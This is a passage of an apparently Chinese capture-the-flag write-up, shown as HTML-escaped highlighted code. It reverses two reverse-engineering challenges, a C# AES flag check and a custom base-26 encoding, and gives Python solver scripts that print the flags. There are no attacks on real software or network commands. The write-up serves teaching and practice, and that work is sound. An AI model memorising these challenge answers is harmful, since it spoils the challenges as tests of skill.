&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;Main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	{
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;AesClass &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;aesClass &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;AesClass&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;strB &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH&#x2F;3Wh0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;array &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81&lt;&#x2F;span&gt;&lt;span&gt;,	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;82&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;87&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;82&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;87&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;92&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;94&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;93&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18
&lt;&#x2F;span&gt;&lt;span&gt;		};
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.WriteLine(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Welcome to nepnep csharp test! plz input the magical code:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.ReadLine();
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text2&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Length &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;37&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.WriteLine(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Nope!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.ReadKey();
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;		}
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text2&lt;&#x2F;span&gt;&lt;span&gt;.Substring(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Nep{&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text2&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;36&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;&amp;#39;}&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.WriteLine(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Nope!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.ReadKey();
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;		}
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Convert&lt;&#x2F;span&gt;&lt;span&gt;.ToChar(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;array&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x33&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;		}
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;.Compare(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;aesClass&lt;&#x2F;span&gt;&lt;span&gt;.AesEncrypt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;strB&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.WriteLine(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;wow, you pass it!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.ReadKey();
&lt;&#x2F;span&gt;&lt;span&gt;		}
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.WriteLine(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Nope!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;Console&lt;&#x2F;span&gt;&lt;span&gt;.ReadKey();
&lt;&#x2F;span&gt;&lt;span&gt;		}
&lt;&#x2F;span&gt;&lt;span&gt;	}
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;exp:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;Crypto.Cipher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;AES
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;base64
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;82&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;87&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;82&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;87&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;92&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;94&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;93&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;([i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x33 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;key])
&lt;&#x2F;span&gt;&lt;span&gt;cipher&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH&#x2F;3Wh0&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;AES.new(key,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;AES&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;MODE_ECB&lt;&#x2F;span&gt;&lt;span&gt;).decrypt(base64.b64decode(cipher))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(text)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;re-er-shi-liu-jin-zhi&quot;&gt;[re] 二十六进制&lt;&#x2F;h1&gt;
&lt;p&gt;题目将输入的数字转化为逆序的26进制，用链表储存，符号表为&lt;code&gt;2163qwe)(*&amp;amp;^%489$!057@#&amp;gt;&amp;lt;A&lt;&#x2F;code&gt;，然后判断是否等于&lt;code&gt;Fb72&amp;gt;&amp;amp;6&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;Crypto.Hash &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;MD5
&lt;&#x2F;span&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Fb72&amp;gt;&amp;amp;6&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(c)):
&lt;&#x2F;span&gt;&lt;span&gt;    c[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;2163qwe)(*&amp;amp;^%489$!057@#&amp;gt;&amp;lt;A&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;c:
&lt;&#x2F;span&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;26
&lt;&#x2F;span&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span&gt;b.index(i)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(r)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Nep{&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;MD5.new(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(r).encode()).hexdigest()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;}&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
